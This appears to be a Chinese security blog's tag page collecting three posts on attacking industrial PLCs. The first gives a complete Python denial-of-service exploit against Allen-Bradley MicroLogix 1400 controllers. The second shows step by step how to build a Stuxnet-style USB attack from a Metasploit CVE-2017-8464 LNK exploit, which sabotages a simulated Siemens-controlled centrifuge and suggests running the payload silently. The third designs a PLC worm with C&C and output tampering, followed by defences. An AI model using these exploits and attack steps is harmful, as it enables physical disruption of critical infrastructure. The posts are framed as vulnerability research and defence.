The result of tag: (3 results)

罗克韦尔Allen-Bradley MicroLogix 1400系列PLC漏洞的复现及解决方案

by LauCyun Aug 22,2018 15:53:48 8,316 views

2018年3月,思科Talos安全研究团队发文指出罗克韦尔自动化公司的 Allen-Bradley MicroLogix 1400 系列可编程逻辑控制器(PLC)中存在多项严重安全漏洞,这些漏洞可用来发起拒绝服务攻击、篡改设备的配置和梯形逻辑、写入或删除内存模块上的数据等。

0x0 背景

先介绍一下,Allen-Bradley MicroLogix 1400 是个神马玩意儿?

Allen-Bradley MicroLogix 1400控制器是 MicroLogix 系列新的产品线,带有内置的模拟量输入、以太网通讯、更快的高速计数器、可调脉冲输出,专为扩展应用范围而设计,目前被广泛应用与关键基础设施、食品生产加工行业、农业及水处理等行业的工业控制现场,用于控制电机、阀门等工业设备。其外观如图1所示:


图1 AB-MicroLogix 1400系列PLC

至于详细介绍请参考:https://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400

而思科 Talos 安全研究团队公布的安全漏洞有如下表:

CVE编号 CNVD编号 漏洞名称 影响的设备 CVSSv3
CVE-2017-12088 CNVD-2018-07012 以太网卡特制数据包拒绝服务漏洞 Allen Bradley Micrologix 1400 Series B FRN 21.2及以下版本 8.6
CVE-2017-12089 CNVD-2018-07297 梯形图逻辑程序下载设备故障拒绝服务漏洞 8.6
CVE-2017-12090 CNVD-2018-07294 SNMP集处理异常行为顺序拒绝服务漏洞 7.7
CVE-2017-12092 CNVD-2018-07286 内存模块存储程序文件写入漏洞 3.7
CVE-2017-12093 CNVD-2018-07285 资源池拒绝服务漏洞 5.3
CVE-2017-14462
-
CVE-2017-14473
CNVD-2018-07275
-
CNVD-2018-07286
访问控制漏洞 10.0

为此,本文将介绍漏洞 CNVD-2018-07012 的复现及防御措施。

0x1 漏洞描述

漏洞 CNVD-2018-07012 允许未经身份验证的攻击者发送特制数据包,从而使受影响的设备进入电源循环并进入故障状态,这种情况会导致先前存储在设备上的梯形逻辑被删除。需要注意的是,这个漏洞不是通过以太网/ IP 协议来利用的,因此使用 RSLogix 来禁用以太网/ IP 不会提供有效的缓解。

受影响的产品:

  • Allen Bradley Micrologix 1400 Series B FRN 21.2 及以下版本

至于详细的漏洞信息可参考:

通过 Shodan 对影响版本网络设备Rockwell Automation 1766进行搜索,其暴露在公网的情况如图2所示:

图2 Allen Bradley Micrologix 1400暴露在公网的情况

0x2 复现

用 nmap 对 Allen Bradley Micrologix 1400 控制器侦查一番,如图3所示:


图3 测试PLC的信息

说明图3中的 Allen Bradley Micrologix 1400 控制器正是 CNVD-2018-07012 受影响的产品,接下来就是复现了。

CNVD-2018-07012 的 exp 脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import random

host = "192.168.0.235"
port = 44818

head = "\x00" * 24
crash_head = "\x00" * 2
crash_tail = "\x00" * 20
crash = "%s\xe8\xff%s" % (crash_head, crash_tail)
num_heads = int((random.random() * 58))
heads = head * num_heads
mesg = heads + crash

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(mesg)
sock.shutdown(socket.SHUT_RDWR)
sock.close()

在运行 exp 脚本之前,通过 RSLogix 观察一下 Allen Bradley Micrologix 1400 控制器的运行状态,如图4所示: 


图4 Allen Bradley Micrologix 1400控制器处于运行状态

运行 exp 脚本python exp.py,通过 WireShark 捕获到复现过程中的数据包如图5所示:


图5 复现过程

此时,Allen Bradley Micrologix 1400 控制器的运行状态如图6所示:


图6 Allen Bradley Micrologix 1400控制器处于故障状态

在图5中的第4个数据包正是起关键作用的数据包,如图7所示:

图7 payload

0x3 解决方案

目前,对类似曝出有高危漏洞的工控设备,一般采取以下方案:

  • 将受影响设备升级到最新版本的固件,以便不再受到这些漏洞的影响;
  • 在工控设备前部署安全防护设施,以防止工控设备被攻击。

由于工业现场的特殊性,一般工控设备部署完成后,基本是处于长期稳定运行状态,一年仅会有半个月到一个月左右的检修停机时间,即使利用检修时间去对工控设备进行固件升级,也可能存在内部程序被刷新或者被清空的风险,一旦生产控制程序被清空,那么其造成的损失和恢复成本都是极大的,所以在现场进行固件升级的可行性比较小。

所以,在工控设备前部署安全防护设施是目前比较可行的防护方案。通过在Allen Bradley Micrologix 1400前部署工业防火墙,来对Allen Bradley Micrologix 1400设备进行安全防护的功能。

而该方案也满足《工业控制系统信息安全防护指南》和《GB/T 22239-2008 信息系统安全等级保护基本要求》。

0x4 参考

...

Tags Read More


通过“震网三代”和Siemens PLC 0day漏洞,实现对工业控制系统的入侵

by LauCyun Mar 05,2018 08:08:22 12,856 views

* 本文首次发表于:http://www.freebuf.com/vuls/163950.html

实验环境:

  • 渗透环境:
    • OS:Kali Linux 2017.3
  • 工程师站:
    • OS:Windows 7 sp1 x64
    • IP:192.168.0.152
  • 仿真平台(仿真伊朗核设施的铀浓缩的离心机):
    • PLC:Siemens S7-300
    • IP:192.168.0.234

    • 图1 仿真平台
  • 漏洞:

0x00 前言

2006年,伊朗重启核设施,为了阻止伊朗此举,美国派出间谍买通伊朗核工厂技术人员,将含有漏洞利用工具的U盘插入了工厂控制系统电脑。紧接着,核工厂大量离心机无缘无故损坏,科学家束手无策,工厂被迫关闭,延迟核计划。这就是2010年曝光的“震网事件(Stuxnet)”。


图2 “震网”事件

而攻击伊朗核工厂的漏洞利用工具就是“震网一代”,它因此被公认为世界上首个网络“超级破坏性武器”。

2011年,“震网二代”出现,因为它会在临时目录下生成名为~DQ 的随机文件,也被称作Duqu。

2017年6月14日,微软发布安全公告,修复了可能被黑客利用的Windows快捷方式高危漏洞(CVE-2017-8464),由于其与攻击伊朗核工厂的震网一代利用漏洞相似,被业界普遍称为“震网三代”。

为此,本文结合“震网三代”漏洞和西门子0 day漏洞两个漏洞组合攻击控制系统的仿真演示,其中“震网三代”漏洞用于触发含有西门子0 day漏洞的poc程序。

其思路:先把西门子0 day漏洞的poc程序编译成exe文件,然后exploit出含CVE-2017-8464漏洞的快捷方式,最后把exe程序和快捷方式装载到U盘。


图3 攻击U盘

0x01 漏洞

1 CVE-2017-8464

2017年6月14日,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞。

当存在漏洞的电脑被插上存在病毒木马的U盘时,不需要任何额外操作,漏洞攻击程序就可以借此完全控制用户的电脑系统。 该漏洞也可能籍由用户访问网络共享、从互联网下载、拷贝文件等操作被触发和利用攻击。

特别是能源、交通、金融等行业的基础设施隔离网,由于需要使用U盘、移动硬盘等存储设备进行数据交换,一旦连接含有漏洞(CVE-2017-8464)利用工具的U盘、移动硬盘连接隔离网内的一台电脑,不需要任何操作,电脑就会被病毒控制。

该漏洞的原理同2010年美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的穿透核设施隔离网络的漏洞(CVE-2010-2568)非常类似,它可以很容易的被黑客利用来攻击基础设施、存放关键资料的核心隔离系统等。

详细介绍参考:www.freebuf.com/news/143353.html

其影响版本:

  • Windows 7
  • Windows 8.1
  • Windows RT 8.1
  • Windows 10
  • Windows Server 2008
  • Windows Server 2008 R2
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016

2 Siemens PLC 0day漏洞

该0 day漏洞是一个能使离心机的转动异常的漏洞。

通过VS2008编译成名为attacker.exe的文件,该文件运行时,先连接上PLC, 然后发送攻击包,最后导致离心机的转动异常。


图4 攻击程序attacker.exe,配置文件init.txt

为了演示效果,attacker.exe不会静默运行。为了攻击更加完美,你可以使其静默运行。

0x02 制作攻击u盘

目前CVE-2017-8464漏洞可供测试利用的脚本有如下两个:

本文着重测试msf脚本,然后将exp拷贝至u盘。

下载msf脚本:

$ cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat/
$ ls -al | grep cve_2017_8464_lnk_rce.rb
# 如果存在,就不需要下载
$ wget https://raw.githubusercontent.com/ykoster/metasploit-framework/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

生成exp:

> use exploits/windows/fileformat/cve_2017_8464_lnk_rce
> set payload windows/x64/exec
> set dllname attacker.dll
> set filename attacker.lnk
> set cmd e:\\attacker.exe
> set EXITFUNC thread 
> exploit

注:

  • msf脚本默认对应系统Windows x64,所以payload也选择64位的exec。
  • 工程师站pc中的u盘可用的盘符为E盘。

其参数设置如下图5:


图5 参数设置

执行后,在/root/.msf4/local/生成24个利用文件,如下图6:


图6 exploit


图7 攻击文件

将以上文件复制到u盘。为了更好适配d-z盘符,你需要分别设置set cmd d:\\attacker.exeset cmd z:\\attacker.exe23个盘符的快捷方式。

Ok,这样攻击u盘就弄好了~

0x03 攻击

万事俱备只欠攻击啦~~~

把U盘插入工程师站pc中,然后就看到如下图8所示:


图8 开启U盘自动播放功能,插入U盘后触发漏洞

上图8中的pc是开启了U盘自动播放功能,在u盘插入后,系统自动访问了u盘,所以就触发漏洞。

同样,直接访问目录也会触发漏洞,如下图9所示:


图9 直接访问目录,触发漏洞

此时,离心机的状态已经异常了(如图10所示),而从控制台看到离心机的状态(如图11所示)是正常的!


图10 离心机状态


图11 控制台中的离心机状态

Nice,目前系统已经被攻击了~

0x04 结论

上面实验仿真了伊朗“震网”事件,其主要使用了Windows Lnk远程代码执行漏洞(CVE-2017-8464)和Siemens PLC 0day漏洞。

针对CVE-2017-8464漏洞给出以下几个建议:

特别是能源、交通、金融等行业需要重视,并及时处理。

0x05 参考

...

Tags Read More


一种新型PLC蠕虫病毒及应对策略

by LauCyun May 12,2017 15:02:55 10,647 views

一、研究背景

随着“互联网+”、“中国智能制造2025“、“工业4.0”等概念的提出,为了提高生产率,独立、隔离的传统工控领域将迎来了新的互联网时代,越来越多的工控设备(如控制器、机器人、数控机床)将被暴露在互联网上或者与企业内网相连。随着互联网时代的来临,安全问题会越来越突出。然而,工业控制系统的安全不同于传统信息网络的安全,一旦出现网络攻击,后果不堪设想。关于工控病毒相关关键事件如下:

  • 2010年伊朗核设施遭受“震网”超级病毒攻击,病毒的复杂程度超出人们的想象,该事件也被称为世界上首个“网络超级武器”事件。由于工业病毒攻击可以直接导致物理设备的故障,并进一步造成生产瘫痪甚至爆炸的灾难性后果。
  • Black Hat 2011,Dillon Beresford等人在他们的报告《Exploiting Siemens Simatic S7 PLCs》中演示了通过西门子S7Comm协议的权限缺失漏洞来远程操作PLC,对PLC进行启停控制、内存的读写。
  • Black Hat 2015,Johannes Klick 等在他们的报告《Internet-facing PLCs – A New Back Orifice》中演示了如何通过PLC实现通信代理,通过PLC突破网络边界,来发现内网中更多的PLC设备。
  • Black Hat 2016,Ralf Spenneberg 等在他们的报告《PLC-Blaster: A Worm Living Solely in the PLC》中提出了PLC蠕虫病毒的概念,提出了西门子1200 V3版本协议认证的缺陷,但没有具体的实现细节。

本文将展示的是一种新型的PLC蠕虫病毒,该病毒可以不借助上位PC机,通过梯形图和SCL相结合的方式,利用PLC自身通信功能,实现了病毒在PLC与PLC之间进行传播。该病毒的实现思路,适用于多个厂家的PLC设备,并且可以在一定规则范围内相互进行传播。本文采用西门子PLC举例进行说明。

 

二、蠕虫实现

蠕虫病毒是一种常见的计算机病毒。它是利用网络进行复制和传播,传染途径是通过网络和电子邮件。最初的蠕虫病毒定义是因为在DOS环境下,病毒发作时会在屏幕上出现一条类似虫子的东西,胡乱吞吃屏幕上的字母并将其改形。蠕虫病毒是自包含的程序(或是一套程序),它能传播自身功能的拷贝或自身的某些部分到其他的计算机系统中(通常是经过网络连接)。

工控蠕虫主要的针对的对象是工业控制设备,通过控制器之间进行病毒传播,这与传统计算机蠕虫是存在很大差别,传统蠕虫寄生对象都是计算机(Window或者Linux),工控蠕虫寄生对象是控制器逻辑代码中。由于病毒可以混淆于正常的控制逻辑代码中,传统防御方式都不适合于工控蠕虫的防护,检测与查杀的方式更强困难。

虽然工控蠕虫与计算机蠕虫存在很多的不同点,但所有的蠕虫的基本架构都是相同的。所有的蠕虫攻击都可以归为一下几个阶段:搜索目标,感染目标,在目标上执行,添加恶意功能。由于PLC控制器提供网络通信能力,在PLC上蠕虫也同样支持这些功能。这篇文章将展示每个必须组件的实现方法。

蠕虫实现的主要的编程软件为西门子的TIA Portal(博途),在TIA Portal(博途)编程软件中,用户通过编写程序来完成工业现场的控制以及工艺流程的实现。西门子POU程序块包括:

  • OB(Organization Block ):组织块,为程序的入口块,被系统直接调用(其他块不可以被系统直接调用,必须包含在OB中才可以执行)。
  • FB(Function Block):功能块,既可以是博途中已包含的功能块,也可以是用户自己编写的块,编程中需要带背景数据块(又叫实例数据块,Instance Data Block)使用。
  • FC(Function):功能,既可以是博途中已包含的功能块,也可以是户自己编写,不可以带背景数据块。
  • DB(Data Block):数据块,分为背景数据块和共享数据块,其中背景数据块为私有块。编程时,户可以定义共享数据块的数据存储结构,不可以定义背景数据块的数据存储结构,必须由FB定义。数据块中的数据掉电不丢失。
  • SFB(System Function Block):系统功能块,系统内部功能块,用户不可自己编写,不可更改,使用同FB。
  • SFC(System Function):系统功能,系统内部功能,用户不可自己编写,不可更改,使用同FC。

博途软件支持的编程语言有: LD(梯形图),FBD(功能块图)、SCL(结构化控制语言)、STL(语句列表)。

S7-1200只支持LAD、FBD和SCL三种编程语言,并且在下载过程中会先停止运行,然后下载程序,下载完成后重新启动。

2.1 实现流程

病毒首先选择IP通过西门子通信端口102尝试建立连接,如果连接建立成功,则检查目标PLC是否已被感染。如连接未建立成功,或目标PLC已被感染,则选择新IP重新尝试建立连接。如目标PLC未被感染,则停止目标PLC,下装病毒程序,最后重新启动目标PLC。流程如图1所示。

图1 蠕虫实现流程

2.2 寻找目标

所有的西门子PLC通过102端口进行TCP通信,因此可以通过尝试建立102端口的TCP通信来进行目标的寻找。Step7组态软件中提供了两个FB块,TCON以及TDISCON,如图2所示。TCON用来建立TCP连接,其中REQ输入管脚通过上升沿信号触发,CONNECT输入管脚配置TCON建立连接的如对端IP、对端端口号,本机端口号,通信方式等相关参数。TDISCON用来断掉TCP连接,REQ上升沿触发。

图2 TCON和TDISCON功能块

2.2.1 使用TCON块尝试建立连接

图3为尝试建立连接的FC块,首先使用TCON块建立连接,如果建立成功,即输出管脚DONE为TRUE时,则置状态字con_state为20,继续下一步病毒的传播感染操作。如连续200次建立连接不成功,则置状态字con_state为0。

图3 使用TCON块尝试建立连接

2.2.2 使用TDISCON进行连接的断开并更改IP

如连接未成功建立或病毒传播完成,即状态字con_state为0时,则使用TDISCON做断开连接操作,如果输出管脚ERROR或输出管脚DONE为TRUE时,将TCON输入管脚CONNECT中的对端IP末位加一,并使用该新IP再次尝试建立连接。实现过程如图4所示。

图4 使用TDISCON进行连接的断开并更改IP

2.2.3 检测目标PLC是否已感染病毒

成功建立连接后,首先判断目标PLC是否已经感染该病毒,通过TSEND功能块发送相关数据报文,并对返回的报文进行判断,如未被感染,则继续执行病毒的传播过程,如已感染,则置状态字con_state为0,重新更换IP尝试建立连接。过程如图5所示。

图5 检测目标PLC是否已感染病毒

2.3 传播感染

正常情况下,博途软件会对PLC进行程序的下装操作,而下装过程正式利用了西门子私有的S7协议。在西门子PLC简介章节中提到西门子S7Comm协议以及早期的S7Comm-Plus协议已可以被研究者熟悉利用。因此在传播感染阶段,可以根据S7协议的内容,通过伪造博途软件下装程序的报文,可以实现PLC到PLC的程序传输操作。也就是说已感染病毒的PLC向目标PLC发送下装程序块的报文,而目标PLC识别到报文后,误以为是博途软件对其进行下装,最后会将报文中的相关功能块存储在PLC中。

Step7组态软件中使用TSEND功能块进行数据的发送,使用TRCV功能块进行数据的接收,如图6所示。在TSEND块中,REQ输入管脚上升沿触发,DATA为需要发送的数据区。在TRCV中,EN_R上升沿触发,DATA为接收数据的存储区,RCVD_LEN为实际接收到数据的长度。

图6 TSEND和TRCV功能块

在程序的发送过程中,需要满足S7协议的相关通信时序以及报文格式。图7所示为S7建立连接的过程。首先是TCP的三次握手,接下来建立COTP连接,建立完成后进行S7协议的连接建立。建立成功后可以使用S7协议进行启停PLC、下装程序、PLC中数据读写等正常操作。

图7 S7协议通信时序

S7通信协议应用层数据封装模型如图8所示,其中:

  • TCP:即传输控制协议,是一种面向连接(连接导向)的、可靠的、基于IP的传输层协议,在IETF的RFC 793标准中进行定义。
  • ISO-ON-TCP:即基于TCP的ISO传输服务,在在IETF的RFC1006标准中进行说明。
  • ISO Transport protocol:即ISO传输协议,在ISO8073中进行说明。

图8 S7协议应用层数据分布

图9为下装程序块的S7Comm数据报文,其中0x32为S7Comm协议标识符,Protocol Data Unit Reference为协议数据单元标识符,在S7Comm协议中用作通信过程的时序标记。Function标识了该数据报文的功能。Data报文区为所对应功能块的内容。

图9 功能块下装数据报文

在博途软件中,使用FC功能块实现连接的建立,寻找新的目标IP,判断目标PLC是否已被感染病毒,并进行病毒程序的传播等功能。使用一个DB数据块存放FC功能块中所用到的所有全局变量,使用另外一个DB数据块存放病毒感染全部过程所需要的报文内容。

2.4 激活

PLC执行顺序是从OB1开始,按顺序执行到OB9999的。

建立调用病毒程序的OB块OB9999,并将其存植入到目标PLC中,用以激病毒,并进行新的病毒传播感染。西门子PLC在运行时,会按照从OB1到OB9999的顺序进行调用。如图10所示。

图10 西门子PLC程序调用步骤

在其他病毒块下载完成后,用OB9999(也可以用其他非系统自带的OB块,未了避免病毒的OB块与PLC中正常的OB块重复,建议块的序号尽量大些)启动病毒程序。

2.5 恶意功能的实现

2.5.1 C&C服务器

一旦PLC被感染病毒,会基于TCP主动去连接C&C服务器。通过C&C服务器,可以远程控制PLC,包括PLC的启停,输出值的改变等。

2.5.2 Socks4代理

一旦PLC被病毒感染,在局域网中的其他PLC,可以通过Socks4代理连接到C&C服务器。

2.5.3 拒绝服务攻击

可以向PLC中下装例如死循环、除零或者负数开方的程序,让PLC停止工作。

2.5.4 改变输出值

可以通过编写正常的PLC程序,来改变输出值,进而影响现场设备的正常运行。

2.6 感染前后对比

博途软件提供了PLC程序在线与离线差异的检测功能,如图12所示。程序块后面的绿色圆圈表示在线程序与离线程序一致,蓝色与橘黄色组成的圆形表示在线程序与离线程序不一致。块为虚样式,表示博途的程序中没有此块,而PLC有。

图11 感染前

图12 感染后

三、检测与防护

3.1 病毒的检测

3.1.1 利用博途软件

博途软件提供了PLC程序在线与离线差异的检测功能,如图13所示。程序块后面的绿色圆圈表示在线程序与离线程序一致,蓝色与橘黄色组成的圆形表示在线程序与离线程序不一致。

图13 博途软件对程序在线离线一致性的检测

3.1.2 观察PLC的状态灯

下装程序的过程中会导致PLC的停止与启动,在此期间,所有模拟量数值与开关量状态会保持不变。然后该时间仅有几秒钟,操作员可能会忽视该细节。

3.1.3 使用工控漏扫设备

使用工控漏扫设备对PLC进行扫描,由于病毒程序必须利用较大编号的OB块。因此扫描较大编号的OB块可以对病毒进行检测。

3.1.4 检测网络

在病毒进行传播的过程中,网络中会出现PLC与PLC通信的数据报文,根据该异常报文可以检测出病毒测存在。

3.2 防护措施

  • 部署控制设备管理系统,定期对PLC控制逻辑代码进行备份,一旦PLC被感染,可以迅速通过备份的PLC程序重置进行快速恢复。
  • 设置CPU访问密码,禁止非授权用户上下载逻辑代码,密码一定不能是弱口令。
  • 对工控网络进行风险评估,识别核心资产,根据不同安全级别进行安全分区,一旦受到网络攻击,将损失控制在最小的范围内。
  • 在工控系统中安装工控监测审计系统,通过工控协议深度解析,根据特征值的进行采集、分析与识别,如发现异常数据包,如控制器启停、程序上下载,则记录日志或报警。
  • 安全域边界安装工控防火墙,通过工控防火墙,对异常数据包进行检测以及隔离防护。
  • 针对工控网络制定应急处理预案,当遇见突发网络攻击事件,可以实现快速恢复。

 

四、参考文档

1 工匠实验室:http://icsmaster.com/security/plcblaster.html

2 绿盟科技:http://www.nsfocus.com/content/details_141_2340.html

 

(全文完)

...

Tags Read More